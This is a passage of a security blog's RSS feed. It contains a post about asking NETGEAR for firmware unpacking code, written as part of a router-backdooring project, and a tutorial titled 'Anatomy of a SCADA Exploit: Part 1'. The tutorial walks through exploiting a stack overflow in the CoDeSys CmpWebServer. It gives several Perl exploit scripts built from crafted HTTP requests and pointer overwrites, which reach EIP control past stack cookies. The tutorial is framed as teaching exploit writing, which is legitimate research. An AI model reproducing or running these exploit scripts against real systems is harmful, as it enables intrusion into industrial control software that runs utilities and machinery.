			<content:encoded><![CDATA[<p>For the past 8 months or so, I&#8217;ve been heading a project on reverse engineering router firmware with the end goal of developing a generalized, repeatable, effective technique to backdoor router firmwares images (and ultimately the devices they are flashed upon).  While I have much to share about my research and progress so far, it is unfortunately not the topic of this post, but will instead have to wait until a future one.</p>
<p>Instead, this post will be used to publish the beginning of an interesting conversation I started with NETGEAR.  The latest target of my project is the NETGEAR WNR1000v3 router, specifically the V1.0.2.26 North America (NA) firmware image.  After analyzing the image, I discovered an LZMA-compressed SquashFS filesystem but was unable to extract it using any public means available.  For more information, I posted a detailed case regarding the issue on the OpenWRT forum: <a href="https://forum.openwrt.org/viewtopic.php?id=35157">https://forum.openwrt.org/viewtopic.php?id=35157</a></p>
<p>The WNR1000v3 firmware is in fact open source (<a href="http://www.downloads.netgear.com/files/GPL/WNR1000v3-V1.0.2.26_51.0.59NAWW_src.tar.zip">available here</a>), but it does not contain the necessary unsquashfs utility to unpackage the filesystem, only the mksquashfs utility used to create it:</p>
<pre>$ find . -name *squashfs*
./src/router/mipsel-uclibc/target.squashfs
./src/router/squashfs
./src/router/squashfs/mksquashfs.c
./src/router/squashfs/mksquashfs.h
./src/linux/linux/scripts/squashfs
./src/linux/linux/scripts/squashfs/mksquashfs
./src/linux/linux/scripts/squashfs/mksquashfs.c
./src/linux/linux/scripts/squashfs/mksquashfs.h
./src/linux/linux/scripts/squashfs/squashfs_fs.h
./src/linux/linux/fs/squashfs
./src/linux/linux/fs/squashfs/.squashfs2_0.o.flags
./src/linux/linux/fs/squashfs/squashfs2_0.o
./src/linux/linux/fs/squashfs/squashfs.o
./src/linux/linux/fs/squashfs/squashfs.h
./src/linux/linux/fs/squashfs/squashfs2_0.c
./src/linux/linux/fs/squashfs/.squashfs.o.flags
./src/linux/linux/include/linux/squashfs_fs_i.h
./src/linux/linux/include/linux/squashfs_fs.h
./src/linux/linux/include/linux/squashfs_fs_sb.h
./src/linux/linux/include/config/squashfs.h
./src/linux/linux/include/config/squashfs</pre>
<p>While waiting for potential replies on the reverse engineering route, I additionally reached out to NETGEAR itself to see if it would be possible for them to simply provide their version of the unsquashfs code.  As this utility is not necessary for the actual firmware build process, I was wholly expecting an answer of either &#8220;I&#8217;m sorry, we have no such tool&#8221; or &#8220;We simply are unable to send it to you,&#8221; but figured it was worth a try anyways.  However, I was a bit surprised to instead receive the answer that apparently <em>the WNR1000v3 is actually not open source</em>.</p>
<p>&#8230;What?</p>
<pre>3/2/2012 3:06:00 PM
REFURB
2012-02-28
Other
Hi Netgear, I'm reviewing the source code for your WNR1000v3 router
(specifically, the WNR1000v3-V1.0.2.26_51.0.59NA image), and I see
under bcm5356/src/router/squashfs that you only provide mksquashfs,
and not unsquashfs. Since it seems that your squashfs utilities have
special patches to perform LZMA compression, stock unsquashfs utilities
don't work (nor do any other variants I can find publicly). Would it
be possible to receive unsquashfs.c, and any other relevant files to
unpackage the filesystem on this router? Thank you!</pre>
<pre>3/4/2012 2:02:00 AM
From Agent ID: 1410

Case ID: 18044702

Dear Michael, 

Thank you for choosing NETGEAR. My name is Naveen, and I am your
support engineer today.

I understand that you want to modify the source code of the router.
We apologize for this inconvenience. Because we are doing this online,
it might require a few email exchanges to resolve the issue. Rest
assured that we will do our best to resolve your case quickly.

Regarding your concern I am sorry to inform you that we cannot modify
the source code of this router because its not an open source. 

Please contact us again if you require further assistance.

Please do visit <a href="http://support.netgear.com/" target="_blank">http://support.netgear.com </a>for any technical queries
regarding NETGEAR products. 

A notice will automatically be sent to your email address when we have
responded to your inquiry. Please DO NOT REPLY to that email. Instead,
to add additional information to your case, click No to the question
"Was your problem resolved with the information provided by the NETGEAR
representative above?"

If you click YES, your case will be closed and a separate email
containing a survey link will be sent so you can share with us your
customer support experience. 

Thanks again for choosing NETGEAR. Have a great day! 

Sincerely, 
Naveen
Technical Support 
NETGEAR, Inc.
<a href="http://my.netgear.com/" target="_blank">http://my.netgear.com </a>

***NOTE: Your case will autoclose after 7 days of inactivity.***

Did you know that NETGEAR provides support for all your home networking
devices and PCs? We can provide a one-stop solution - no need to call
multiple vendors* for support. If you would like to learn more about
the NETGEAR GearHead services, go to <a href="http://kbserver.netgear.com/kb_web_files/gearhead/home.html." target="_blank">http://kbserver.netgear.com/kb_web_files/gearhead/home.html</a>.</pre>
<p>I have replied to the ticket and will provide updates as the conversation progresses.</p>
<p>UPDATE: NETGEAR has replied:</p>
<pre>3/4/2012 2:27:00 AM
Hi Naveen,
Thank you for your reply, I greatly appreciate it. However I am very
confused. That model router is in fact open source, contrary to what
you mentioned. It is listed on <a href="http://support.netgear.com/app/answers/detail/a_id/2649" target="_blank">http://support.netgear.com/app/answers/detail/a_id/2649 </a>and specifically may be downloaded from <a href="http://www.downloads.netgear.com/files/GPL/WNR1000v3-V1.0.2.26_51.0.59NAWW_src.tar.zip" target="_blank">http://www.downloads.netgear.com/files/GPL/WNR1000v3-V1.0.2.26_51.0.59NAWW_src.tar.zip </a>

According to the GPL license, all derivative work must also be GPL
licensed, and therefore open source. NETGEAR''s WNR1000v3 product is
based upon the GPL-licensed Linux kernel, as well as the GPL-licensed
SquashFS filesystem, and therefore directly falls under this category
of derivative work. NETGEAR has published all versions of the WNR1000v3
firmware free and open source, however, they lack the unsquashfs utility
that is part of the SquashFS project.

May NETGEAR please release the source code to the unsquashfs utility
for the WNR1000v3 V1.0.2.26 firmware, which is part of the SquashFS
software project used to build this router''s filesystem? Thank you.</pre>
<pre>3/4/2012 3:44:00 AM
From Agent ID: 1410

Case ID: 18044702

Dear Michael,

My name is Naveen, and I am following up on your Support case.

After reviewing the information you provided, I have a better
understanding of your issue 

Please do click on the link below to know more about the router:

<a href="http://support.netgear.com/app/answers/detail/a_id/19969" target="_blank">http://support.netgear.com/app/answers/detail/a_id/19969 </a>

Please do visit <a href="http://support.netgear.com/" target="_blank">http://support.netgear.com </a>for any technical queries
regarding NETGEAR products.

A notice will automatically be sent to your email address when we have
responded to your inquiry. Please DO NOT REPLY to that email. Instead,
to add additional information to your case, click No to the question
"Was your problem resolved with the information provided by the NETGEAR
representative above?"

If you click YES, your case will be closed and a separate email
containing a survey link will be sent so you can share with us your
customer support experience. 

Thanks again for choosing NETGEAR. Have a great day! 

Sincerely, 

Naveen
Technical Support 
NETGEAR, Inc.
<a href="http://my.netgear.com/" target="_blank">http://my.netgear.com </a>

***Please be aware that your case will autoclose after 7 days of
inactivity.***

Did you know that NETGEAR provides support for all your home networking
devices and PCs? We can provide a one-stop solution - no need to call
multiple vendors* for support. If you would like to learn more about
the NETGEAR GearHead services, go to <a href="http://kbserver.netgear.com/kb_web_files/gearhead/home.html." target="_blank">http://kbserver.netgear.com/kb_web_files/gearhead/home.html.</a></pre>
]]></content:encoded>
			<wfw:commentRss>http://www.poppopret.org/?feed=rss2&#038;p=175</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Anatomy of a SCADA Exploit: Part 1  &#8211; From Overflow to EIP</title>
		<link>http://www.poppopret.org/?p=40</link>
		<comments>http://www.poppopret.org/?p=40#comments</comments>
		<pubDate>Sat, 07 Jan 2012 07:18:40 +0000</pubDate>
		<dc:creator>mncoppola</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[SCADA]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.poppopret.org/?p=40</guid>
		<description><![CDATA[Introduction On November 29, 2011, Luigi Auriemma published a security advisory containing multiple vulnerabilities in the 3S CoDeSys Automation Suite.  Like much of the other software Auriemma has researched in past months, CoDeSys is SCADA software.  For those who aren&#8217;t &#8230; <a href="http://www.poppopret.org/?p=40">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><strong>Introduction</strong></p>
<p>On November 29, 2011, <a href="http://aluigi.altervista.org/" target="_blank">Luigi Auriemma</a> published a security advisory containing <a href="http://aluigi.altervista.org/adv/codesys_1-adv.txt" target="_blank">multiple vulnerabilities in the 3S CoDeSys Automation Suite</a>.  Like much of the other software Auriemma has researched in past months, CoDeSys is SCADA software.  For those who aren&#8217;t familiar with the term, SCADA stands for &#8220;Supervisory Control and Data Acquisition,&#8221; which is just a fancy way of saying &#8220;the code that runs big machines, assembly lines, and the utilities we rely on every day (water, electricity, etc.).&#8221;  To put it more bluntly, things that should never fail and should never be messed with.</p>
<p>SCADA applications and appliances have been receiving a lot of media attention lately for all the <a href="http://ddanchev.blogspot.com/2006/10/scada-security-incidents-and-critical.html" target="_blank">security</a> <a href="http://www.theregister.co.uk/2011/05/12/critical_iconics_scada_bug/" target="_blank">problems</a> <a href="http://www.darkreading.com/insider-threat/167801100/security/attacks-breaches/224400280/security-incidents-rise-in-industrial-control-systems.html" target="_blank">they&#8217;re</a> <a href="http://www.theregister.co.uk/2011/11/18/second_water_utility_hack/" target="_blank">causing</a>, most infamously being the root of the <a href="http://www.zdnet.co.uk/news/security-threats/2010/09/22/stuxnet-targeted-iran-nuclear-power-plant-says-expert-40090205/" target="_blank">Stuxnet outbreak in 2010</a>.  If you spend more than a few minutes looking at the applications that power our infrastructure and the systems they run on, you&#8217;ll realize it&#8217;s time to get a little nervous.  Much of this software is full of bugs, poorly maintained by the vendors, and has the look and feel of the Windows 2000 era.</p>
<p>I intend to publish a three-part series of blog posts detailing my experience weaponizing Auriemma&#8217;s CoDeSys advisory, turning simple DoS into remote code execution.  It is meant to be a learning experience, and hopefully it will help others in writing their own exploits as I explain the steps taken to circumvent the different exploit mitigations implemented in the software.</p>
<p>A minimal amount of experience with memory corruption but a fair amount of intuition will be necessary to follow along.  While I will introduce concepts as they appear, I will not explain every little detail for the sake of fluency and brevity.</p>
<p><strong>Identifying the Vulnerability</strong></p>
<p>The exact bug we&#8217;ll be looking at is a stack-based overflow in the CmpWebServer component of CoDeSys:</p>
<pre>------------------------------
B] CmpWebServer stack overflow
------------------------------

CmpWebServer is the component used in services like 3SRTESrv3 and
CoDeSysControlService for handling the HTTP connections on port 8080.

The library is affected by a buffer overflow in the function 0040f480
that copies the input URI in a limited stack buffer allowing code
execution:

 0040F5C5 |&gt; 8B55 F4 MOV EDX,DWORD PTR SS:[EBP-C]
 0040F5C8 |. 2B55 08 SUB EDX,DWORD PTR SS:[EBP+8]
 0040F5CB |. 52 PUSH EDX
 0040F5CC |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
 0040F5CF |. 50 PUSH EAX
 0040F5D0 |. 8B4D 10 MOV ECX,DWORD PTR SS:[EBP+10]
 0040F5D3 |. 51 PUSH ECX
 0040F5D4 |. E8 97420000 CALL CoDeSysC.00413870 ; memcpy
...
===========
3) The Code
===========
...
B]
  udpsz -c "GET /" 0 -b a -c "\\a HTTP/1.0\r\n\r\n" -1 -T -D SERVER 8080 8192</pre>
<p>For this post we&#8217;ll be exploiting CoDeSys V3.4 SP4 Patch 2 on Windows XP Professional SP3.  While this is not the most up-to-date version of the OS, it has been chosen for various reasons, most prominently due to the fact that DEP is enabled but ASLR is not implemented.  This is a good point to start at both technically and conceptually &#8212; Don&#8217;t worry, ASLR will play a major role towards the end of this series.</p>
<p>You can grab the software here: <a href="ftp://ftppub2:eYDqlL5v@ftp.3s-software.com/SetupV30/CoDeSys%203.4SP4Patch2%20Release.zip" target="_blank">ftp://ftppub2:eYDqlL5v@ftp.3s-software.com/SetupV30/CoDeSys%203.4SP4Patch2%20Release.zip</a></p>
<p>Start CoDeSys SoftMotion Win V3 (the part of CoDeSys that CmpWebServer resides in) and attach Immunity Debugger to the running process.  Let&#8217;s run the PoC and see what happens:</p>
<pre>sh-4.1$ gcc -o udpsz udpsz.c md5.c -lz -ldl -pthread
sh-4.1$ ./udpsz -c "GET /" 0 -b a -c "\\\\a HTTP/1.0\r\n\r\n" -1 -T -D 172.16.66.128 8080 8192

UDPSZ 0.3.3a
by Luigi Auriemma
e-mail: aluigi@autistici.org
web:    aluigi.org

- target   172.16.66.128 : 8080
- TCP mode
- random seed 0x4f079359
- content at offset 00000000 of 5 bytes
- appended content of 15 bytes
- average or maximum packet size: 8192
- send packets:
.
- finished
sh-4.1$</pre>
<p style="text-align: center;"><a href="http://www.poppopret.org/wp-content/uploads/2012/01/1.png"><img class=" wp-image-57 aligncenter" title="1" src="http://www.poppopret.org/wp-content/uploads/2012/01/1.png" alt="" width="1024" height="742" /></a></p>
<p>Yup, looks like a bug.  Before we dig any further let&#8217;s inspect exactly what bytes we&#8217;re sending to trigger the crash.  With a little netcat action, we learn that the PoC program is sending the following HTTP request:</p>
<pre>sh-4.1$ nc -l 8080 | hexdump -C
00000000  47 45 54 20 2f 61 61 61  61 61 61 61 61 61 61 61  |GET /aaaaaaaaaaa|
00000010  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  |aaaaaaaaaaaaaaaa|
*
00001ff0  61 5c 61 20 48 54 54 50  2f 31 2e 30 0d 0a 0d 0a  |a\a HTTP/1.0....|
00002000
sh-4.1$</pre>
<p>That means our exploit will be structured like:</p>
<pre>GET /[overflow]\a HTTP/1.0[crlf][crlf]</pre>
<p>Okay, set a breakpoint and let&#8217;s inspect the call to memcpy() referenced in the advisory:</p>
<p style="text-align: center;"><a href="http://www.poppopret.org/wp-content/uploads/2012/01/2.png"><img class=" wp-image-63 aligncenter" title="2" src="http://www.poppopret.org/wp-content/uploads/2012/01/2.png" alt="" width="1024" height="742" /></a></p>
<p>Interestingly enough, it appears we found a (functionality) bug in Immunity if you take a look at the memcpy() call frame on the stack.  In actuality we&#8217;re copying to <em>dest</em>=0x02cdfb44 from <em>src</em>=0x00399dc8 a total of <em>n</em>=0x1ff4=8180 bytes.<a href="http://www.poppopret.org/wp-content/uploads/2012/01/3.png"><img class="alignright size-full wp-image-67" title="3" src="http://www.poppopret.org/wp-content/uploads/2012/01/3.png" alt="" width="254" height="222" /></a></p>
<p>Scrolling down a bit in the dump window we see our crafted URL string in memory in its entirety, staged to be memcpy()&#8217;d somewhere on the stack.  Continuing execution, we hit the same write exception as the first run through.  Our first challenge will be getting around this issue before we&#8217;ll be able to continue.</p>
<p>&nbsp;</p>
<p><strong>Over the Mountain and Through the Woods&#8230;</strong></p>
<p><strong></strong>The first step will be to look at the call stack, which will play two important roles in our debugging effort.  First, if you notice the third function on the stack, we corrupted the return pointer with 0&#215;61616161, or &#8220;aaaa&#8221;.  This confirms that we have in fact overflowed a buffer and now control some function&#8217;s call frame.  The ultimate goal will be navigating through the rest of the code until we are able to return from this function, gaining control over EIP and eventually executing our payload.</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/4.png"><img class="aligncenter size-full wp-image-73" title="4" src="http://www.poppopret.org/wp-content/uploads/2012/01/4.png" alt="" width="518" height="84" /></a>The second role, one more relevant to the current situation, is determining which function was last called before the exception.  Looking at the top of the call stack, we see that it crashed somewhere within the function called from 0x0040f5d4&#8230; the same memcpy() that we looked at earlier!  If you read the exception message carefully, the program crashed due to an inability to write to the address 0x02ce0000, which just so happens to be the bottom of the stack.  Our overflow string was so long that we tried writing past the stack itself!  This would be a good time to start writing our exploit script &#8211; let&#8217;s shorten the overflow string and try again.</p>
<pre>#!/usr/bin/perl

use IO::Socket;

if ( @ARGV &lt; 1 ) {
    print "Usage: $0 &lt;target&gt;";
}

$sock = new IO::Socket::INET(
    PeerAddr =&gt; $ARGV[0],
    PeerPort =&gt; 8080,
);

$exploit = "";
$exploit .= "GET /";
$exploit .= "A"x1000;
$exploit .= "\\a HTTP/1.0\r\n\r\n";

print $sock $exploit;</pre>
<p>And take a look at our new crash:</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/5.png"><img class="aligncenter size-full wp-image-82" title="5" src="http://www.poppopret.org/wp-content/uploads/2012/01/5.png" alt="" width="1024" height="742" /></a>Progress!  Looks like we&#8217;re now reaching an exception reading a pointer we control.  If we find the exact offset in our buffer this pointer is being derived from and replace it with a pointer to readable memory, we should be able to get past this part as well.  In order to pinpoint exactly where this pointer resides in our buffer, we&#8217;ll call upon the great <a href="http://redmine.corelan.be/projects/mona" target="_blank">mona.py</a> to generate a cyclic pattern.  By replacing our overflow string with a cyclic pattern, the pointer will be replaced with a unique four-byte sequence, which we&#8217;ll then be able to trace to a specific offset in the string.</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/6.png"><img class="aligncenter size-full wp-image-88" title="6" src="http://www.poppopret.org/wp-content/uploads/2012/01/6.png" alt="" width="584" height="102" /></a>Run it again, and we see the exception but with a new pointer:</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/7.png"><img class="aligncenter size-full wp-image-90" title="7" src="http://www.poppopret.org/wp-content/uploads/2012/01/7.png" alt="" width="417" height="19" /></a>0&#215;72413672 in little endian is &#8220;\x72\x36\x41\x72&#8243; which decodes to ASCII &#8220;r6Ar&#8221;.  Inspecting our cyclic pattern results in finding &#8220;r6Ar&#8221; at offset 529.  Replace the next four bytes with &#8220;ZZZZ&#8221; to prove the concept:</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/8.png"><img class="aligncenter size-full wp-image-91" title="8" src="http://www.poppopret.org/wp-content/uploads/2012/01/8.png" alt="" width="417" height="19" /></a>Cool.  Let&#8217;s replace this pointer with an address of somewhere in our buffer (on the stack) for now.  As long as it&#8217;s readable it won&#8217;t matter.  Moving on, we&#8217;ll leave the cyclic pattern in place as it may be helpful in the future.  Let&#8217;s see where the program takes us now&#8230;</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/9.png"><img class="aligncenter size-full wp-image-93" title="9" src="http://www.poppopret.org/wp-content/uploads/2012/01/9.png" alt="" width="1024" height="742" /></a>Looks like this time the program is crashing due to a write exception to another pointer we control (the random, all-ASCII pointer clues to a cyclic pattern).  Following the same processes as before, 0&#215;38724137 in little endian is &#8220;\x37\x41\x72\x38&#8243; which decodes to ASCII &#8220;7Ar8&#8243;.  Inspecting our cyclic pattern results in finding &#8220;7Ar8&#8243; at offset 533, adjacent to the readable pointer above.  We&#8217;ll replace this one with a random pointer on the stack, outside our buffer.  That brings us to the following exploit script so far:</p>
<pre>#!/usr/bin/perl

use IO::Socket;

if ( @ARGV &lt; 1 ) {
    print "Usage: $0 &lt;target&gt;";
}

$sock = new IO::Socket::INET(
    PeerAddr =&gt; $ARGV[0],
    PeerPort =&gt; 8080,
);

$exploit = "";
$exploit .= "GET /";
#$exploit .= "A"x1000;
$exploit .= "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5A";
$exploit .= pack('V', 0x02cdfb4c); # Readable pointer
$exploit .= pack('V', 0x02cdfa54); # Writable pointer
$exploit .= "Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B";
$exploit .= "\\a HTTP/1.0\r\n\r\n";

print $sock $exploit;</pre>
<p>Run it again, and&#8230;</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/10.png"><img class="aligncenter size-full wp-image-95" title="10" src="http://www.poppopret.org/wp-content/uploads/2012/01/10.png" alt="" width="1024" height="742" /></a>What&#8217;s this?  Process terminated?  Not just ended, but <em>terminated</em>?  What would cause such a thing?  Let&#8217;s go back and add a bunch of breakpoints and see where it terminates.  We&#8217;ll follow the execution step-by-step and determine exactly the root cause of this.</p>
<p>We reach the initial memcpy() okay&#8230;</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/11.png"><img class="aligncenter size-full wp-image-97" title="11" src="http://www.poppopret.org/wp-content/uploads/2012/01/11.png" alt="" width="491" height="65" /></a>And return from a function, unwinding a layer off the stack (note, not the function that we overflowed the call frame of)&#8230;</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/12.png"><img class="aligncenter size-full wp-image-98" title="12" src="http://www.poppopret.org/wp-content/uploads/2012/01/12.png" alt="" width="491" height="65" /></a>Pass unfettered through a few function calls&#8230;</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/13.png"><img class="aligncenter size-full wp-image-99" title="13" src="http://www.poppopret.org/wp-content/uploads/2012/01/13.png" alt="" width="491" height="65" /></a><a href="http://www.poppopret.org/wp-content/uploads/2012/01/14.png"><img class="aligncenter size-full wp-image-100" title="14" src="http://www.poppopret.org/wp-content/uploads/2012/01/14.png" alt="" width="491" height="65" /></a><a href="http://www.poppopret.org/wp-content/uploads/2012/01/15.png"><img class="aligncenter size-full wp-image-101" title="15" src="http://www.poppopret.org/wp-content/uploads/2012/01/15.png" alt="" width="491" height="65" /></a>Until we reach this final function before the return:</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/16.png"><img class="aligncenter size-full wp-image-102" title="16" src="http://www.poppopret.org/wp-content/uploads/2012/01/16.png" alt="" width="1024" height="742" /></a>Note how EBP points to somewhere in our overflow string.  If we hit the function epilogue at 0x0040fcb7 after this final function call, then the program should realign the stack pointer into our buffer, pop the base pointer, and then return to an arbitrary address of our choosing (EIP control).  Yet, that doesn&#8217;t happen and the program terminates instead.  That means it can only be&#8230;</p>
<p>Uh oh&#8230; It looks like we&#8217;ve been plagued with stack cookies.  No matter how delicious they sound, these are <em>not</em> the type of cookies you want.  When we overwrote the call frame for the current function, we corrupted the cookie on the stack before it.  We won&#8217;t be able to do a direct ret overwrite, so we&#8217;ll have to get crafty and influence the program in other ways to circumvent the memory protection.</p>
<p><strong>Great, So What Now?</strong></p>
<p>We have two options to pursue from here.  The first option is to attempt an SEH overwrite &#8211; taking control of the exception handler located on the stack, intentionally causing an exception in the program, and pointing execution at any address we choose.  From here we&#8217;d need to find a stack pivot to relocate the stack pointer into our buffer, but just our luck that all loaded modules in the program are compiled with SafeSEH:</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/17.png"><img class="aligncenter size-full wp-image-115" title="17" src="http://www.poppopret.org/wp-content/uploads/2012/01/17.png" alt="" width="843" height="147" /></a>This doesn&#8217;t technically mean the end of an SEH overwrite possibility, as there are other techniques such as generating gadgets from bytes <em>outside</em> of loaded modules in memory, but before we go crazy let&#8217;s see what else we have to work with.</p>
<p>The second option is to take a closer look at the functions called before the stack cookie check and see if it is possible to abuse them to redirect the program flow.  One thing that should pique our interest is the fact that in order to satisfy the code executed before the stack cookie check, we had to provide two adjacent pointers in memory, one readable and one writable.  Let&#8217;s look more closely at a previous screenshot:</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/18.png"><img class="size-full wp-image-118 alignleft" title="18" src="http://www.poppopret.org/wp-content/uploads/2012/01/18.png" alt="" width="381" height="225" /></a>See anything interesting? Recall the arguments to the initial memcpy():</p>
<p><em><em>dest</em>=0x02cdfb44<br />
<em>src</em>=0x00399dc8<br />
<em>n</em>=0x1ff4</em></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>The cyclic pattern doesn&#8217;t start at the <em>dest</em> address&#8230; and it&#8217;s missing its first character (&#8220;A&#8221;)&#8230;  Let&#8217;s recall the &#8220;random&#8221; stack pointers we placed in our overflow string:</p>
<pre>$exploit .= pack('V', 0x02cdfb4c); # Readable pointer
$exploit .= pack('V', 0x02cdfa54); # Writable pointer</pre>
<p>In case you haven&#8217;t figured it out already, let&#8217;s take a look at the initial memcpy() call:</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/11.png"><img class="aligncenter size-full wp-image-97" title="11" src="http://www.poppopret.org/wp-content/uploads/2012/01/11.png" alt="" width="491" height="65" /></a>And now let&#8217;s look at the function call just before the stack cookie check:</p>
<p style="text-align: left;"><a href="http://www.poppopret.org/wp-content/uploads/2012/01/15.png"><img class="aligncenter size-full wp-image-101" title="15" src="http://www.poppopret.org/wp-content/uploads/2012/01/15.png" alt="" width="491" height="65" /></a>Notice anything similar?  Just before the stack cookie check, we have complete control over the <em>src</em> and <em>dest</em> arguments of a memcpy() call!  We can leverage this capability to overwrite the return address of the call itself, returning into an arbitrary address in memory and gaining control over EIP.  Update our script:</p>
<pre>#!/usr/bin/perl

use IO::Socket;

if ( @ARGV &lt; 1 ) {
    print "Usage: $0 &lt;target&gt;";
}

$sock = new IO::Socket::INET(
    PeerAddr =&gt; $ARGV[0],
    PeerPort =&gt; 8080,
);

$exploit = "";
$exploit .= "GET /";
$exploit .= "A"; # For alignment purposes
$exploit .= pack('V', 0x0defaced); # Control over EIP
$exploit .= "1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5A";
$exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP)
$exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr)
$exploit .= "Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B";
$exploit .= "\\a HTTP/1.0\r\n\r\n";

print $sock $exploit;</pre>
<p>Run our new script against the server:</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/20.png"><img class="aligncenter size-full wp-image-122" title="20" src="http://www.poppopret.org/wp-content/uploads/2012/01/20.png" alt="" width="1024" height="742" /></a>Success.</p>
<p><strong>Next Time<br />
</strong></p>
<p>Next post in this series (the second of three) we&#8217;ll look at how to turn EIP into arbitrary code execution, bypassing DEP and spawning a shell on the remote host.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.poppopret.org/?feed=rss2&#038;p=40</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Rooting the Samsung Infuse 4G</title>
